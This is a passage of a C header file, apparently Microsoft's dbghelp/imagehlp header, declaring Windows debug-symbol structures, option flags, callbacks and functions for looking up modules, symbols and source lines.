PIMAGEHLP_SYMBOL64_PACKAGE\n #define IMAGEHLP_SYMBOLW IMAGEHLP_SYMBOLW64\n #define PIMAGEHLP_SYMBOLW PIMAGEHLP_SYMBOLW64\n #define IMAGEHLP_SYMBOLW_PACKAGE IMAGEHLP_SYMBOLW64_PACKAGE\n #define PIMAGEHLP_SYMBOLW_PACKAGE PIMAGEHLP_SYMBOLW64_PACKAGE\n\n#else\n\n typedef struct _IMAGEHLP_SYMBOL {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL)\n DWORD Address; // virtual address including dll base address\n DWORD Size; // estimated size of symbol, can be zero\n DWORD Flags; // info about the symbols, see the SYMF defines\n DWORD MaxNameLength; // maximum size of symbol name in 'Name'\n CHAR Name[1]; // symbol name (null terminated string)\n } IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;\n\n typedef struct _IMAGEHLP_SYMBOL_PACKAGE {\n IMAGEHLP_SYMBOL sym;\n CHAR name[MAX_SYM_NAME + 1];\n } IMAGEHLP_SYMBOL_PACKAGE, *PIMAGEHLP_SYMBOL_PACKAGE;\n\n typedef struct _IMAGEHLP_SYMBOLW {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW)\n DWORD Address; // virtual address including dll base address\n DWORD Size; // estimated size of symbol, can be zero\n DWORD Flags; // info about the symbols, see the SYMF defines\n DWORD MaxNameLength; // maximum size of symbol name in 'Name'\n WCHAR Name[1]; // symbol name (null terminated string)\n } IMAGEHLP_SYMBOLW, *PIMAGEHLP_SYMBOLW;\n\n typedef struct _IMAGEHLP_SYMBOLW_PACKAGE {\n IMAGEHLP_SYMBOLW sym;\n WCHAR name[MAX_SYM_NAME + 1];\n } IMAGEHLP_SYMBOLW_PACKAGE, *PIMAGEHLP_SYMBOLW_PACKAGE;\n\n#endif\n\n//\n// module data structure\n//\n\ntypedef struct _IMAGEHLP_MODULE64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64)\n DWORD64 BaseOfImage; // base load address of module\n DWORD ImageSize; // virtual size of the loaded module\n DWORD TimeDateStamp; // date/time stamp from pe header\n DWORD CheckSum; // checksum from the pe header\n DWORD NumSyms; // number of symbols in the symbol table\n SYM_TYPE SymType; // type of symbols loaded\n CHAR ModuleName[32]; // module name\n CHAR ImageName[256]; // image name\n CHAR LoadedImageName[256]; // symbol file name\n // new elements: 07-Jun-2002\n CHAR LoadedPdbName[256]; // pdb file name\n DWORD CVSig; // Signature of the CV record in the debug directories\n CHAR CVData[MAX_PATH * 3]; // Contents of the CV record\n DWORD PdbSig; // Signature of PDB\n GUID PdbSig70; // Signature of PDB (VC 7 and up)\n DWORD PdbAge; // DBI age of pdb\n BOOL PdbUnmatched; // loaded an unmatched pdb\n BOOL DbgUnmatched; // loaded an unmatched dbg\n BOOL LineNumbers; // we have line number information\n BOOL GlobalSymbols; // we have internal symbol information\n BOOL TypeInfo; // we have type information\n // new elements: 17-Dec-2003\n BOOL SourceIndexed; // pdb supports source server\n BOOL Publics; // contains public symbols\n} IMAGEHLP_MODULE64, *PIMAGEHLP_MODULE64;\n\ntypedef struct _IMAGEHLP_MODULEW64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64)\n DWORD64 BaseOfImage; // base load address of module\n DWORD ImageSize; // virtual size of the loaded module\n DWORD TimeDateStamp; // date/time stamp from pe header\n DWORD CheckSum; // checksum from the pe header\n DWORD NumSyms; // number of symbols in the symbol table\n SYM_TYPE SymType; // type of symbols loaded\n WCHAR ModuleName[32]; // module name\n WCHAR ImageName[256]; // image name\n // new elements: 07-Jun-2002\n WCHAR LoadedImageName[256]; // symbol file name\n WCHAR LoadedPdbName[256]; // pdb file name\n DWORD CVSig; // Signature of the CV record in the debug directories\n WCHAR CVData[MAX_PATH * 3]; // Contents of the CV record\n DWORD PdbSig; // Signature of PDB\n GUID PdbSig70; // Signature of PDB (VC 7 and up)\n DWORD PdbAge; // DBI age of pdb\n BOOL PdbUnmatched; // loaded an unmatched pdb\n BOOL DbgUnmatched; // loaded an unmatched dbg\n BOOL LineNumbers; // we have line number information\n BOOL GlobalSymbols; // we have internal symbol information\n BOOL TypeInfo; // we have type information\n // new elements: 17-Dec-2003\n BOOL SourceIndexed; // pdb supports source server\n BOOL Publics; // contains public symbols\n} IMAGEHLP_MODULEW64, *PIMAGEHLP_MODULEW64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define IMAGEHLP_MODULE IMAGEHLP_MODULE64\n#define PIMAGEHLP_MODULE PIMAGEHLP_MODULE64\n#define IMAGEHLP_MODULEW IMAGEHLP_MODULEW64\n#define PIMAGEHLP_MODULEW PIMAGEHLP_MODULEW64\n#else\ntypedef struct _IMAGEHLP_MODULE {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE)\n DWORD BaseOfImage; // base load address of module\n DWORD ImageSize; // virtual size of the loaded module\n DWORD TimeDateStamp; // date/time stamp from pe header\n DWORD CheckSum; // checksum from the pe header\n DWORD NumSyms; // number of symbols in the symbol table\n SYM_TYPE SymType; // type of symbols loaded\n CHAR ModuleName[32]; // module name\n CHAR ImageName[256]; // image name\n CHAR LoadedImageName[256]; // symbol file name\n} IMAGEHLP_MODULE, *PIMAGEHLP_MODULE;\n\ntypedef struct _IMAGEHLP_MODULEW {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE)\n DWORD BaseOfImage; // base load address of module\n DWORD ImageSize; // virtual size of the loaded module\n DWORD TimeDateStamp; // date/time stamp from pe header\n DWORD CheckSum; // checksum from the pe header\n DWORD NumSyms; // number of symbols in the symbol table\n SYM_TYPE SymType; // type of symbols loaded\n WCHAR ModuleName[32]; // module name\n WCHAR ImageName[256]; // image name\n WCHAR LoadedImageName[256]; // symbol file name\n} IMAGEHLP_MODULEW, *PIMAGEHLP_MODULEW;\n#endif\n\n//\n// source file line data structure\n//\n\ntypedef struct _IMAGEHLP_LINE64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)\n PVOID Key; // internal\n DWORD LineNumber; // line number in file\n PCHAR FileName; // full filename\n DWORD64 Address; // first instruction of line\n} IMAGEHLP_LINE64, *PIMAGEHLP_LINE64;\n\ntypedef struct _IMAGEHLP_LINEW64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)\n PVOID Key; // internal\n DWORD LineNumber; // line number in file\n PWSTR FileName; // full filename\n DWORD64 Address; // first instruction of line\n} IMAGEHLP_LINEW64, *PIMAGEHLP_LINEW64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define IMAGEHLP_LINE IMAGEHLP_LINE64\n#define PIMAGEHLP_LINE PIMAGEHLP_LINE64\n#else\ntypedef struct _IMAGEHLP_LINE {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE)\n PVOID Key; // internal\n DWORD LineNumber; // line number in file\n PCHAR FileName; // full filename\n DWORD Address; // first instruction of line\n} IMAGEHLP_LINE, *PIMAGEHLP_LINE;\n\ntypedef struct _IMAGEHLP_LINEW {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)\n PVOID Key; // internal\n DWORD LineNumber; // line number in file\n PCHAR FileName; // full filename\n DWORD64 Address; // first instruction of line\n} IMAGEHLP_LINEW, *PIMAGEHLP_LINEW;\n#endif\n\n//\n// source file structure\n//\n\ntypedef struct _SOURCEFILE {\n DWORD64 ModBase; // base address of loaded module\n PCHAR FileName; // full filename of source\n} SOURCEFILE, *PSOURCEFILE;\n\ntypedef struct _SOURCEFILEW {\n DWORD64 ModBase; // base address of loaded module\n PWSTR FileName; // full filename of source\n} SOURCEFILEW, *PSOURCEFILEW;\n\n//\n// data structures used for registered symbol callbacks\n//\n\n#define CBA_DEFERRED_SYMBOL_LOAD_START 0x00000001\n#define CBA_DEFERRED_SYMBOL_LOAD_COMPLETE 0x00000002\n#define CBA_DEFERRED_SYMBOL_LOAD_FAILURE 0x00000003\n#define CBA_SYMBOLS_UNLOADED 0x00000004\n#define CBA_DUPLICATE_SYMBOL 0x00000005\n#define CBA_READ_MEMORY 0x00000006\n#define CBA_DEFERRED_SYMBOL_LOAD_CANCEL 0x00000007\n#define CBA_SET_OPTIONS 0x00000008\n#define CBA_EVENT 0x00000010\n#define CBA_DEFERRED_SYMBOL_LOAD_PARTIAL 0x00000020\n#define CBA_DEBUG_INFO 0x10000000\n#define CBA_SRCSRV_INFO 0x20000000\n#define CBA_SRCSRV_EVENT 0x40000000\n\ntypedef struct _IMAGEHLP_CBA_READ_MEMORY {\n DWORD64 addr; // address to read from\n PVOID buf; // buffer to read to\n DWORD bytes; // amount of bytes to read\n DWORD *bytesread; // pointer to store amount of bytes read\n} IMAGEHLP_CBA_READ_MEMORY, *PIMAGEHLP_CBA_READ_MEMORY;\n\nenum {\n sevInfo = 0,\n sevProblem,\n sevAttn,\n sevFatal,\n sevMax // unused\n};\n\n#define EVENT_SRCSPEW_START 100\n#define EVENT_SRCSPEW 100\n#define EVENT_SRCSPEW_END 199\n\ntypedef struct _IMAGEHLP_CBA_EVENT {\n DWORD severity; // values from sevInfo to sevFatal\n DWORD code; // numerical code IDs the error\n PCHAR desc; // may contain a text description of the error\n PVOID object; // value dependant upon the error code\n} IMAGEHLP_CBA_EVENT, *PIMAGEHLP_CBA_EVENT;\n\ntypedef struct _IMAGEHLP_CBA_EVENTW {\n DWORD severity; // values from sevInfo to sevFatal\n DWORD code; // numerical code IDs the error\n PCWSTR desc; // may contain a text description of the error\n PVOID object; // value dependant upon the error code\n} IMAGEHLP_CBA_EVENTW, *PIMAGEHLP_CBA_EVENTW;\n\ntypedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD64)\n DWORD64 BaseOfImage; // base load address of module\n DWORD CheckSum; // checksum from the pe header\n DWORD TimeDateStamp; // date/time stamp from pe header\n CHAR FileName[MAX_PATH]; // symbols file or image name\n BOOLEAN Reparse; // load failure reparse\n HANDLE hFile; // file handle, if passed\n DWORD Flags; //\n} IMAGEHLP_DEFERRED_SYMBOL_LOAD64, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD64;\n\ntypedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOADW64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOADW64)\n DWORD64 BaseOfImage; // base load address of module\n DWORD CheckSum; // checksum from the pe header\n DWORD TimeDateStamp; // date/time stamp from pe header\n WCHAR FileName[MAX_PATH + 1]; // symbols file or image name\n BOOLEAN Reparse; // load failure reparse\n HANDLE hFile; // file handle, if passed\n DWORD Flags; //\n} IMAGEHLP_DEFERRED_SYMBOL_LOADW64, *PIMAGEHLP_DEFERRED_SYMBOL_LOADW64;\n\n#define DSLFLAG_MISMATCHED_PDB 0x1\n#define DSLFLAG_MISMATCHED_DBG 0x2\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define IMAGEHLP_DEFERRED_SYMBOL_LOAD IMAGEHLP_DEFERRED_SYMBOL_LOAD64\n#define PIMAGEHLP_DEFERRED_SYMBOL_LOAD PIMAGEHLP_DEFERRED_SYMBOL_LOAD64\n#else\ntypedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD)\n DWORD BaseOfImage; // base load address of module\n DWORD CheckSum; // checksum from the pe header\n DWORD TimeDateStamp; // date/time stamp from pe header\n CHAR FileName[MAX_PATH]; // symbols file or image name\n BOOLEAN Reparse; // load failure reparse\n HANDLE hFile; // file handle, if passed\n} IMAGEHLP_DEFERRED_SYMBOL_LOAD, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD;\n#endif\n\ntypedef struct _IMAGEHLP_DUPLICATE_SYMBOL64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL64)\n DWORD NumberOfDups; // number of duplicates in the Symbol array\n PIMAGEHLP_SYMBOL64 Symbol; // array of duplicate symbols\n DWORD SelectedSymbol; // symbol selected (-1 to start)\n} IMAGEHLP_DUPLICATE_SYMBOL64, *PIMAGEHLP_DUPLICATE_SYMBOL64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define IMAGEHLP_DUPLICATE_SYMBOL IMAGEHLP_DUPLICATE_SYMBOL64\n#define PIMAGEHLP_DUPLICATE_SYMBOL PIMAGEHLP_DUPLICATE_SYMBOL64\n#else\ntypedef struct _IMAGEHLP_DUPLICATE_SYMBOL {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL)\n DWORD NumberOfDups; // number of duplicates in the Symbol array\n PIMAGEHLP_SYMBOL Symbol; // array of duplicate symbols\n DWORD SelectedSymbol; // symbol selected (-1 to start)\n} IMAGEHLP_DUPLICATE_SYMBOL, *PIMAGEHLP_DUPLICATE_SYMBOL;\n#endif\n\n// If dbghelp ever needs to display graphical UI, it will use this as the parent window.\n\nBOOL\nIMAGEAPI\nSymSetParentWindow(\n __in HWND hwnd\n );\n\nPCHAR\nIMAGEAPI\nSymSetHomeDirectory(\n __in_opt HANDLE hProcess,\n __in_opt PCSTR dir\n );\n\nPWSTR\nIMAGEAPI\nSymSetHomeDirectoryW(\n __in_opt HANDLE hProcess,\n __in_opt PCWSTR dir\n );\n\nPCHAR\nIMAGEAPI\nSymGetHomeDirectory(\n __in DWORD type,\n __out_ecount(size) PSTR dir,\n __in size_t size\n );\n\nPWSTR\nIMAGEAPI\nSymGetHomeDirectoryW(\n __in DWORD type,\n __out_ecount(size) PWSTR dir,\n __in size_t size\n );\n\ntypedef enum {\n hdBase = 0, // root directory for dbghelp\n hdSym, // where symbols are stored\n hdSrc, // where source is stored\n hdMax // end marker\n};\n\ntypedef struct _OMAP {\n ULONG rva;\n ULONG rvaTo;\n} OMAP, *POMAP;\n\nBOOL\nIMAGEAPI\nSymGetOmaps(\n __in HANDLE hProcess,\n __in DWORD64 BaseOfDll,\n __out POMAP *OmapTo,\n __out PDWORD64 cOmapTo,\n __out POMAP *OmapFrom,\n __out PDWORD64 cOmapFrom\n );\n\n//\n// options that are set/returned by SymSetOptions() & SymGetOptions()\n// these are used as a mask\n//\n#define SYMOPT_CASE_INSENSITIVE 0x00000001\n#define SYMOPT_UNDNAME 0x00000002\n#define SYMOPT_DEFERRED_LOADS 0x00000004\n#define SYMOPT_NO_CPP 0x00000008\n#define SYMOPT_LOAD_LINES 0x00000010\n#define SYMOPT_OMAP_FIND_NEAREST 0x00000020\n#define SYMOPT_LOAD_ANYTHING 0x00000040\n#define SYMOPT_IGNORE_CVREC 0x00000080\n#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100\n#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200\n#define SYMOPT_EXACT_SYMBOLS 0x00000400\n#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800\n#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000\n#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000\n#define SYMOPT_PUBLICS_ONLY 0x00004000\n#define SYMOPT_NO_PUBLICS 0x00008000\n#define SYMOPT_AUTO_PUBLICS 0x00010000\n#define SYMOPT_NO_IMAGE_SEARCH 0x00020000\n#define SYMOPT_SECURE 0x00040000\n#define SYMOPT_NO_PROMPTS 0x00080000\n#define SYMOPT_OVERWRITE 0x00100000\n#define SYMOPT_IGNORE_IMAGEDIR 0x00200000\n#define SYMOPT_FLAT_DIRECTORY 0x00400000\n#define SYMOPT_FAVOR_COMPRESSED 0x00800000\n#define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000\n#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000\n\n#define SYMOPT_DEBUG 0x80000000\n\nDWORD\nIMAGEAPI\nSymSetOptions(\n __in DWORD SymOptions\n );\n\nDWORD\nIMAGEAPI\nSymGetOptions(\n VOID\n );\n\nBOOL\nIMAGEAPI\nSymCleanup(\n __in HANDLE hProcess\n );\n\nBOOL\nIMAGEAPI\nSymMatchString(\n __in PCSTR string,\n __in PCSTR expression,\n __in BOOL fCase\n );\n\nBOOL\nIMAGEAPI\nSymMatchStringA(\n __in PCSTR string,\n __in PCSTR expression,\n __in BOOL fCase\n );\n\nBOOL\nIMAGEAPI\nSymMatchStringW(\n __in PCWSTR string,\n __in PCWSTR expression,\n __in BOOL fCase\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACK)(\n __in PSOURCEFILE pSourceFile,\n __in_opt PVOID UserContext\n );\n\n// for backwards compatibility - don't use this\n#define PSYM_ENUMSOURCFILES_CALLBACK PSYM_ENUMSOURCEFILES_CALLBACK\n\nBOOL\nIMAGEAPI\nSymEnumSourceFiles(\n __in HANDLE hProcess,\n __in ULONG64 ModBase,\n __in_opt PCSTR Mask,\n __in PSYM_ENUMSOURCEFILES_CALLBACK cbSrcFiles,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACKW)(\n __in PSOURCEFILEW pSourceFile,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSourceFilesW(\n __in HANDLE hProcess,\n __in ULONG64 ModBase,\n __in_opt PCWSTR Mask,\n __in PSYM_ENUMSOURCEFILES_CALLBACKW cbSrcFiles,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumerateModules64(\n __in HANDLE hProcess,\n __in PSYM_ENUMMODULES_CALLBACK64 EnumModulesCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumerateModulesW64(\n __in HANDLE hProcess,\n __in PSYM_ENUMMODULES_CALLBACKW64 EnumModulesCallback,\n __in_opt PVOID UserContext\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymEnumerateModules SymEnumerateModules64\n#else\nBOOL\nIMAGEAPI\nSymEnumerateModules(\n __in HANDLE hProcess,\n __in PSYM_ENUMMODULES_CALLBACK EnumModulesCallback,\n __in_opt PVOID UserContext\n );\n#endif\n\nBOOL\nIMAGEAPI\nEnumerateLoadedModulesEx(\n __in HANDLE hProcess,\n __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback,\n __in_opt PVOID UserContext\n );\n \nBOOL\nIMAGEAPI\nEnumerateLoadedModulesExW(\n __in HANDLE hProcess,\n __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nEnumerateLoadedModules64(\n __in HANDLE hProcess,\n __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nEnumerateLoadedModulesW64(\n __in HANDLE hProcess,\n __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback,\n __in_opt PVOID UserContext\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define EnumerateLoadedModules EnumerateLoadedModules64\n#else\nBOOL\nIMAGEAPI\nEnumerateLoadedModules(\n __in HANDLE hProcess,\n __in PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,\n __in_opt PVOID UserContext\n );\n#endif\n\nPVOID\nIMAGEAPI\nSymFunctionTableAccess64(\n __in HANDLE hProcess,\n __in DWORD64 AddrBase\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymFunctionTableAccess SymFunctionTableAccess64\n#else\nPVOID\nIMAGEAPI\nSymFunctionTableAccess(\n __in HANDLE hProcess,\n __in DWORD AddrBase\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetUnwindInfo(\n __in HANDLE hProcess,\n __in DWORD64 Address,\n __out_bcount_opt(*Size) PVOID Buffer,\n __inout PULONG Size\n );\n\nBOOL\nIMAGEAPI\nSymGetModuleInfo64(\n __in HANDLE hProcess,\n __in DWORD64 qwAddr,\n __out PIMAGEHLP_MODULE64 ModuleInfo\n );\n\nBOOL\nIMAGEAPI\nSymGetModuleInfoW64(\n __in HANDLE hProcess,\n __in DWORD64 qwAddr,\n __out PIMAGEHLP_MODULEW64 ModuleInfo\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetModuleInfo SymGetModuleInfo64\n#define SymGetModuleInfoW SymGetModuleInfoW64\n#else\nBOOL\nIMAGEAPI\nSymGetModuleInfo(\n __in HANDLE hProcess,\n __in DWORD dwAddr,\n __out PIMAGEHLP_MODULE ModuleInfo\n );\n\nBOOL\nIMAGEAPI\nSymGetModuleInfoW(\n __in HANDLE hProcess,\n __in DWORD dwAddr,\n __out PIMAGEHLP_MODULEW ModuleInfo\n );\n#endif\n\nDWORD64\nIMAGEAPI\nSymGetModuleBase64(\n __in HANDLE hProcess,\n __in DWORD64 qwAddr\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetModuleBase SymGetModuleBase64\n#else\nDWORD\nIMAGEAPI\nSymGetModuleBase(\n __in HANDLE hProcess,\n __in DWORD dwAddr\n );\n#endif\n\ntypedef struct _SRCCODEINFO {\n DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO)\n PVOID Key; // not used\n DWORD64 ModBase; // base address of module this applies to\n CHAR Obj[MAX_PATH + 1]; // the object file within the module\n CHAR FileName[MAX_PATH + 1]; // full filename\n DWORD LineNumber; // line number in file\n DWORD64 Address; // first instruction of line\n} SRCCODEINFO, *PSRCCODEINFO;\n\ntypedef struct _SRCCODEINFOW {\n DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO)\n PVOID Key; // not used\n DWORD64 ModBase; // base address of module this applies to\n WCHAR Obj[MAX_PATH + 1]; // the object file within the module\n WCHAR FileName[MAX_PATH + 1]; // full filename\n DWORD LineNumber; // line number in file\n DWORD64 Address; // first instruction of line\n} SRCCODEINFOW, *PSRCCODEINFOW;\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMLINES_CALLBACK)(\n __in PSRCCODEINFO LineInfo,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumLines(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCSTR Obj,\n __in_opt PCSTR File,\n __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMLINES_CALLBACKW)(\n __in PSRCCODEINFOW LineInfo,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumLinesW(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCWSTR Obj,\n __in_opt PCWSTR File,\n __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymGetLineFromAddr64(\n __in HANDLE hProcess,\n __in DWORD64 qwAddr,\n __out PDWORD pdwDisplacement,\n __out PIMAGEHLP_LINE64 Line64\n );\n\nBOOL\nIMAGEAPI\nSymGetLineFromAddrW64(\n __in HANDLE hProcess,\n __in DWORD64 dwAddr,\n __out PDWORD pdwDisplacement,\n __out PIMAGEHLP_LINEW64 Line\n );\n\nBOOL\nIMAGEAPI\nSymEnumSourceLines(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCSTR Obj,\n __in_opt PCSTR File,\n __in_opt DWORD Line,\n __in DWORD Flags,\n __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSourceLinesW(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCWSTR Obj,\n __in_opt PCWSTR File,\n __in_opt DWORD Line,\n __in DWORD Flags,\n __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback,\n __in_opt PVOID UserContext\n );\n\n// flags for SymEnumSourceLines\n\n#define ESLFLAG_FULLPATH 0x1\n#define ESLFLAG_NEAREST 0x2\n#define ESLFLAG_PREV 0x4\n#define ESLFLAG_NEXT 0x8\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetLineFromAddr SymGetLineFromAddr64\n#define SymGetLineFromAddrW SymGetLineFromAddrW64\n#else\nBOOL\nIMAGEAPI\nSymGetLineFromAddr(\n __in HANDLE hProcess,\n __in DWORD dwAddr,\n __out PDWORD pdwDisplacement,\n __out PIMAGEHLP_LINE Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLineFromAddrW(\n __in HANDLE hProcess,\n __in DWORD dwAddr,\n __out PDWORD pdwDisplacement,\n __out PIMAGEHLP_LINEW Line\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetLineFromName64(\n __in HANDLE hProcess,\n __in_opt PCSTR ModuleName,\n __in_opt PCSTR FileName,\n __in DWORD dwLineNumber,\n __out PLONG plDisplacement,\n __inout PIMAGEHLP_LINE64 Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLineFromNameW64(\n __in HANDLE hProcess,\n __in_opt PCWSTR ModuleName,\n __in_opt PCWSTR FileName,\n __in DWORD dwLineNumber,\n __out PLONG plDisplacement,\n __inout PIMAGEHLP_LINEW64 Line\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetLineFromName SymGetLineFromName64\n#else\nBOOL\nIMAGEAPI\nSymGetLineFromName(\n __in HANDLE hProcess,\n __in_opt PCSTR ModuleName,\n __in_opt PCSTR FileName,\n __in DWORD dwLineNumber,\n __out PLONG plDisplacement,\n __inout PIMAGEHLP_LINE Line\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetLineNext64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINE64 Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLineNextW64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINEW64 Line\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetLineNext SymGetLineNext64\n#else\nBOOL\nIMAGEAPI\nSymGetLineNext(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINE Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLineNextW(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINEW Line\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymGetLinePrev64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINE64 Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLinePrevW64(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINEW64 Line\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetLinePrev SymGetLinePrev64\n#else\nBOOL\nIMAGEAPI\nSymGetLinePrev(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINE Line\n );\n\nBOOL\nIMAGEAPI\nSymGetLinePrevW(\n __in HANDLE hProcess,\n __inout PIMAGEHLP_LINEW Line\n );\n#endif\n\nULONG\nIMAGEAPI\nSymGetFileLineOffsets64(\n __in HANDLE hProcess,\n __in_opt PCSTR ModuleName,\n __in PCSTR FileName,\n __out_ecount(BufferLines) PDWORD64 Buffer,\n __in ULONG BufferLines\n );\n\nBOOL\nIMAGEAPI\nSymMatchFileName(\n __in PCSTR FileName,\n __in PCSTR Match,\n __deref_opt_out PSTR *FileNameStop,\n __deref_opt_out PSTR *MatchStop\n );\n\nBOOL\nIMAGEAPI\nSymMatchFileNameW(\n __in PCWSTR FileName,\n __in PCWSTR Match,\n __deref_opt_out PWSTR *FileNameStop,\n __deref_opt_out PWSTR *MatchStop\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFile(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCSTR Params,\n __in PCSTR FileSpec,\n __out_ecount(Size) PSTR FilePath,\n __in DWORD Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFileW(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCWSTR Params,\n __in PCWSTR FileSpec,\n __out_ecount(Size) PWSTR FilePath,\n __in DWORD Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFileToken(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in PCSTR FileSpec,\n __deref_out PVOID *Token,\n __out DWORD *Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFileTokenW(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in PCWSTR FileSpec,\n __deref_out PVOID *Token,\n __out DWORD *Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFileFromToken(\n __in HANDLE hProcess,\n __in PVOID Token,\n __in_opt PCSTR Params,\n __out_ecount(Size) PSTR FilePath,\n __in DWORD Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceFileFromTokenW(\n __in HANDLE hProcess,\n __in PVOID Token,\n __in_opt PCWSTR Params,\n __out_ecount(Size) PWSTR FilePath,\n __in DWORD Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceVarFromToken(\n __in HANDLE hProcess,\n __in PVOID Token,\n __in_opt PCSTR Params,\n __in PCSTR VarName,\n __out_ecount(Size) PSTR Value,\n __in DWORD Size\n );\n\nBOOL\nIMAGEAPI\nSymGetSourceVarFromTokenW(\n __in HANDLE hProcess,\n __in PVOID 